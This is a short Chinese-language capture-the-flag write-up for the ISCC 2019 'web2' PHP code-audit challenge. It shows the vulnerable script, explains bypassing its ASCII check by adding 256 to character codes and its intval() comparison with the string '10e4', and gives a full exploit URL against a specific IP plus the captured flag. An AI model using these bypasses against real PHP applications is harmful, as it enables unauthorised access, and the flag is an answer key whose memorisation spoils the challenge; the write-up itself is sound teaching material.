ISCC之web2

Php代码审计

PHP代码

<?php

error_reporting(0);

require 'flag.php';

$value = $_GET['value'];

$password = $_GET['password'];

$username = '';

for ($i = 0; $i < count($value); ++$i) {

if ($value[$i] > 32 && $value[$i] < 127) unset($value);

else $username .= chr($value[$i]); #将value数组中的值转化为ASCll码

if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {

echo 'Hello '.$username.'!', '<br>', PHP_EOL;

echo $flag, '<hr>';

}

}

 

highlight_file(__FILE__);

 

审计发现可以构造数组,将w3lc0me_To_ISCC2019构造成一个数组,放到value里面,

ASCll共计128个,因此要绕过限制,对ascll码值加256,

对于后面的2333,我们可以这样绕过

利用科学记数法10e4是100000,但是这里的intval()函数取整,会忽略,计算成10

10e4+1会计算成100001

Payload如下

http://39.100.83.188:8001/?&password=10e4&value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313

结果

 

 

 

 

flag{8311873e241ccad54463eaa5d4efc1e9}

posted @ 2019-05-02 23:49  Mke2fs  阅读(487)  评论(0编辑  收藏  举报